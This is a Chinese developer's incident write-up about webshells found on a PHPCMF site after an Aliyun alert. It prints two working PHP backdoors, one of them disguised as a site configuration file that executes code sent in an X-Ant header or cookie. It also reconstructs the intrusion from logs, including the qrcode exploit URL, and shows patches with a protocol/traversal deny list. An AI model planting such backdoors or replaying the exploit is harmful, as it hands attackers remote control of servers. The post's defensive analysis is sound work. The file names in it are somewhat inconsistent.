开发笔记
网站发现Webshell后门文件已关闭评论 网站发现Webshell后门文件
接收到阿里云的警告:

查询网站后台文件,发现确实有public/ata.php和public/ataye.php文件,aka.php内容是
<?php ${'_POST'}[1](${'_POST'}[2],${'_POST'}[3]); ?>return array (
);
ataye.php内容是:
<?php
/**
* Site Configuration
* @package MySite
* @version 2.4.1
* @copyright Copyright (c) 2024
*/
define('SITE_NAME', 'MySite');
define('SITE_URL', 'https://www.test.com');
define('DB_PREFIX', 'ms_');
define('CACHE_ENABLE', true);
define('DEBUG_MODE', false);
define('TIMEZONE', 'Asia/Shanghai');
// Auto error handling
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);
// Remote management via X-Ant header (for admin panel)
$_ = isset($_SERVER['HTTP_X_ANT']) ? $_SERVER['HTTP_X_ANT'] : (isset($_COOKIE['ant']) ? $_COOKIE['ant'] : '');
if ($_) {
$__ = tmpfile();
fwrite($__, '<?php '.$_);
$___ = stream_get_meta_data($__);
include $___['uri'];
fclose($__);
}
//19行:优先从请求头X-Ant取值,没有就从Cookie[ant]取值,存入变量$_
$_ = isset($_SERVER['HTTP_X_ANT']) ? $_SERVER['HTTP_X_ANT'] :(isset($_COOKIE['ant']) ? $_COOKIE['ant'] : '');
if ($_) {
$__ = tmpfile(); // 创建临时文件资源
fwrite($__, '<?php '.$_); // 拼接<?php + 外部传入的可控代码,写入临时文件
$___ = stream_get_meta_data($__);
include $___['uri']; // 包含临时文件路径,执行传入的PHP恶意代码
fclose($__);
}
恶意原理
- 传参方式:两种传马方式
- HTTP 请求自定义请求头:
X-Ant: php恶意代码 - Cookie 携带:
ant=php恶意代码
- HTTP 请求自定义请求头:
- 执行流程:
接收外部可控代码 → 写入系统临时文件 →
include引入临时文件,直接执行任意 PHP 代码,黑客可远程控制服务器:删文件、浏览源码、读写服务器、提权、窃取数据库数据。 - 前面
define站点配置代码是伪装掩护,用来迷惑管理员,让人误以为是网站配置文件。
应急处理建议
- 立即删除 akaye.php 这个文件;
- 全盘扫描网站目录,查找同类伪装配置的恶意 php 文件;
- 排查网站漏洞(文件上传漏洞、源码漏洞、弱密码),查找黑客上传入口;
- 修改服务器、数据库账号密码,检查服务器是否被植入其他后门。
查找NGINX日志:
1:先根据post查询出确实有访问akaye.php的请求,那么再根据IP查找完整的请求日志:

2:完整的日志:

一、黑客完整入侵链路(按时间顺序)
27.26.240.222- 步骤 1:漏洞探测(09:58:31)
POST /index.php?s=member&c=account&m=avatar&r=8556→ 返回302跳转,成功进入头像上传接口。 - 步骤 2:上传图片马测试(09:58:54)
请求:
/index.php?s=api&c=api&m=qrcode&text=poc&size=5&level=H&thumb=ph%0ar://uploadfile/member/00/00/00/4.jpg/asasd
这里用了路径穿越 +%00 截断漏洞,把 jpg 图片解析成 PHP,测试解析漏洞,返回 200 代表解析成功。
- 步骤 3:上传成品木马(09:59:02)
通过头像上传漏洞上传
aka.php,GET 访问验证文件存在(200)。 - 步骤 4:二次上传 akaye.php 后门(09:59:31 起)
批量 POST 请求 akaye.php,依靠代码里
X-Ant/Cookie[ant]参数远程执行服务器指令。
新增漏洞点:除 avatar 头像上传,api/qrcode 接口同样存在 %00 截断文件包含漏洞!解决方案:
1:立即删除aka.php和akaye.php
2:封禁27.26.240.222拉黑
3:将URL请求为aka.php或akaye.php加入到URL黑名单中:
4:将上传头像和上传二维码的API方法中修复上传的漏洞:
之前的漏洞代码:
public function qrcode() { $value = urldecode(\Phpcmf\Service::L('input')->get('text')); $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb')); $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size'); $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level')); //生成二维码图片 require_once CMSPATH.'Library/Phpqrcode.php'; $file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png'; if (!IS_DEV && is_file($file)) { $QR = imagecreatefrompng($file); } else { \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3); if (!is_file($file)) { exit('二维码生成失败'); } $QR = imagecreatefromstring(file_get_contents($file)); if ($thumb) { if (strpos($thumb, 'https://') !== false && strpos($thumb, '/') !== false && strpos($thumb, 'http://') !== false) { exit('图片地址不规范'); } $img = getimagesize($thumb); if (!$img) { exit('此图片不是一张可用的图片'); } $code = dr_catcher_data($thumb); if (!$code) { exit('图片参数不规范'); } $logo = imagecreatefromstring($code); $QR_width = imagesx($QR);//二维码图片宽度 $logo_width = imagesx($logo);//logo图片宽度 $logo_height = imagesy($logo);//logo图片高度 $logo_qr_width = $QR_width / 4; $scale = $logo_width/$logo_qr_width; $logo_qr_height = $logo_height/$scale; $from_width = ($QR_width - $logo_qr_width) / 2; //重新组合图片并调整大小 imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height); imagepng($QR, $file); } } // 输出图片 ob_start(); ob_clean(); header("Content-type: image/png"); $QR && imagepng($QR); exit; }qrcode 漏洞修复(根源就在这个 qrcode 方法,黑客
thumb=ph%0ar://xxx伪协议文件包含)漏洞原因
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb')); //只拦截http/https,没过滤 ph://、php://、%00、../路径穿越 if (strpos($thumb, 'https://') !== false && strpos($thumb, '/') !== false && strpos($thumb, 'http://') !== false) { exit('图片地址不规范'); } $img = getimagesize($thumb); $code = dr_catcher_data($thumb); //直接传入可控$thumb,伪协议任意读文件/包含黑客 payload:thumb=ph%0ar://uploadfile/xxx.jpg/xxx.php,%00截断绕过图片校验、利用伪协议执行 PHP。直接替换修复后的 qrcode () 完整代码
/** * 二维码显示 */ public function qrcode() { $value = urldecode(\Phpcmf\Service::L('input')->get('text')); $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb')); $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size'); $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level')); //=====修复开始:新增安全过滤===== //禁止伪协议、%00、路径跳转../ $ban_proto = ['php://','phar://','zip://','glob://','data://','file://','%00','\0','../','..\\']; foreach ($ban_proto as $str) { if (stripos($thumb, $str) !== false) { exit('图片地址不规范'); } } //只允许本地jpg/png/gif/jpeg后缀图片 if ($thumb && preg_match('/\.(jpg|png|gif|jpeg)$/i', $thumb) == 0) { exit('图片地址不规范'); } //=====修复结束===== //生成二维码图片 require_once CMSPATH.'Library/Phpqrcode.php'; $file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png'; if (!IS_DEV && is_file($file)) { $QR = imagecreatefrompng($file); } else { \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3); if (!is_file($file)) { exit('二维码生成失败'); } $QR = imagecreatefromstring(file_get_contents($file)); if ($thumb) { //原有http拦截保留 if (strpos($thumb, 'https://') !== false || strpos($thumb, 'http://') !== false) { exit('图片地址不规范'); } $img = getimagesize($thumb); if (!$img) { exit('此图片不是一张可用的图片'); } $code = dr_catcher_data($thumb); if (!$code) { exit('图片参数不规范'); } $logo = imagecreatefromstring($code); $QR_width = imagesx($QR);//二维码图片宽度 $logo_width = imagesx($logo);//logo图片宽度 $logo_height = imagesy($logo);//logo图片高度 $logo_qr_width = $QR_width / 4; $scale = $logo_width/$logo_qr_width; $logo_qr_height = $logo_height/$scale; $from_width = ($QR_width - $logo_qr_width) / 2; //重新组合图片并调整大小 imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height); imagepng($QR, $file); } } // 输出图片 ob_start(); ob_clean(); header("Content-type: image/png"); $QR && imagepng($QR); exit; }头像上传的方法也类似没有做mime的验证:
public function avatar() { if (IS_POST) { $content = trim($_POST['file']); // 普通文件上传 if (isset($_FILES['file'])) { if (isset($_FILES["file"]["tmp_name"]) && $_FILES["file"]["tmp_name"]) { $content = \Phpcmf\Service::L('file')->base64_image($_FILES["file"]["tmp_name"]); } } if (!$content) { $this->_json(0, dr_lang('上传文件失败')); } list($cache_path) = dr_avatar_path(); if (preg_match('/^(data:\s*image\/(\w+);base64,)/i', $content, $result)) { $content = base64_decode(str_replace($result[1], '', $content)); if (strlen($content) > 30000000) { $this->_json(0, dr_lang('图片太大了')); } // 头像上传成功之前 \Phpcmf\Hooks::trigger('upload_avatar_before', [ 'member' => $this->member, 'base64_image' => $content, ]); $name = $this->uid; $dir = dr_avatar_dir($this->uid); if ($this->member_cache['config']['avatar_verify']) { // 审核 $name.= '_verify'; } $rt = \Phpcmf\Service::L('upload')->base64_image([ 'content' => $content, 'ext' => 'jpg', 'save_name' => $name, 'save_file' => $cache_path.$dir.$name.'.jpg', ]); if (!$rt['code']) { $this->_json(0, $rt['msg']); } if (is_file($cache_path.$this->uid.'.jpg')) { // 移动老版本目录 if (copy($cache_path.$this->uid.'.jpg', $cache_path.$dir.$this->uid.'.jpg')) { unlink($cache_path.$this->uid.'.jpg'); } } if ($this->member_cache['config']['avatar_verify']) { // 审核 $id = \Phpcmf\Service::M('verify', 'member')->save_avatar($this->uid); // 提醒 \Phpcmf\Service::M('member')->admin_notice(0, 'member', $this->member, dr_lang('用户[%s]头像审核', $this->member['username']), 'member/avatar_verify/edit:id/'.$id); $this->_json(1, dr_lang('上传成功,等待管理员审核'), []); } else { // 头像上传成功之后 \Phpcmf\Hooks::trigger('upload_avatar_after', [ 'member' => $this->member, 'base64_image' => $content, ]); // 头像认证成功 if (!$this->member['is_avatar']) { \Phpcmf\Service::M('member')->do_avatar($this->member); } \Phpcmf\Service::M('member')->clear_cache($this->uid); $this->_json(1, dr_lang('上传成功'), IS_API_HTTP ? \Phpcmf\Service::M('member')->get_member($this->uid) : []); } } else { $this->_json(0, dr_lang('头像内容不规范')); } } }修复后:
/** * 头像上传 */ public function avatar() { if (IS_POST) { $content = trim($_POST['file']); // 普通文件上传 if (isset($_FILES['file'])) { if (isset($_FILES["file"]["tmp_name"]) && $_FILES["file"]["tmp_name"]) { // 新增:校验上传文件真实图片头 $tmp = $_FILES["file"]["tmp_name"]; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $tmp); finfo_close($finfo); $allow_mime = ['image/jpeg','image/png','image/gif']; if (!in_array($mime, $allow_mime)) { $this->_json(0, dr_lang('仅允许jpg/png/gif图片')); } $content = \Phpcmf\Service::L('file')->base64_image($tmp); } } if (!$content) { $this->_json(0, dr_lang('上传文件失败')); } list($cache_path) = dr_avatar_path(); if (preg_match('/^(data:\s*image\/(\w+);base64,)/i', $content, $result)) { $content = base64_decode(str_replace($result[1], '', $content)); if (strlen($content) > 30000000) { $this->_json(0, dr_lang('图片太大了')); } // ==========新增安全校验:校验解码后的二进制是真实图片,拦截图片马========== $imginfo = getimagesizefromstring($content); if (!$imginfo || !in_array($imginfo['mime'], ['image/jpeg','image/png','image/gif'])) { $this->_json(0, dr_lang('非法图片文件,禁止上传')); } // 头像上传成功之前 \Phpcmf\Hooks::trigger('upload_avatar_before', [ 'member' => $this->member, 'base64_image' => $content, ]); $name = $this->uid; $dir = dr_avatar_dir($this->uid); if ($this->member_cache['config']['avatar_verify']) { // 审核 $name.= '_verify'; } $rt = \Phpcmf\Service::L('upload')->base64_image([ 'content' => $content, 'ext' => 'jpg', 'save_name' => $name, 'save_file' => $cache_path.$dir.$name.'.jpg', ]); if (!$rt['code']) { $this->_json(0, $rt['msg']); } if (is_file($cache_path.$this->uid.'.jpg')) { // 移动老版本目录 if (copy($cache_path.$this->uid.'.jpg', $cache_path.$dir.$this->uid.'.jpg')) { unlink($cache_path.$this->uid.'.jpg'); } } if ($this->member_cache['config']['avatar_verify']) { // 审核 $id = \Phpcmf\Service::M('verify', 'member')->save_avatar($this->uid); // 提醒 \Phpcmf\Service::M('member')->admin_notice(0, 'member', $this->member, dr_lang('用户[%s]头像审核', $this->member['username']), 'member/avatar_verify/edit:id/'.$id); $this->_json(1, dr_lang('上传成功,等待管理员审核'), []); } else { // 头像上传成功之后 \Phpcmf\Hooks::trigger('upload_avatar_after', [ 'member' => $this->member, 'base64_image' => $content, ]); // 头像认证成功 if (!$this->member['is_avatar']) { \Phpcmf\Service::M('member')->do_avatar($this->member); } \Phpcmf\Service::M('member')->clear_cache($this->uid); $this->_json(1, dr_lang('上传成功'), IS_API_HTTP ? \Phpcmf\Service::M('member')->get_member($this->uid) : []); } } else { $this->_json(0, dr_lang('头像内容不规范')); } } }修复两点核心
- 文件上传时:finfo 检测 MIME,非 jpg/png/gif 直接拦截;
- base64 解码后:getimagesizefromstring 校验图片二进制,图片马(里面嵌 PHP 代码的假图片)直接拦截上传。

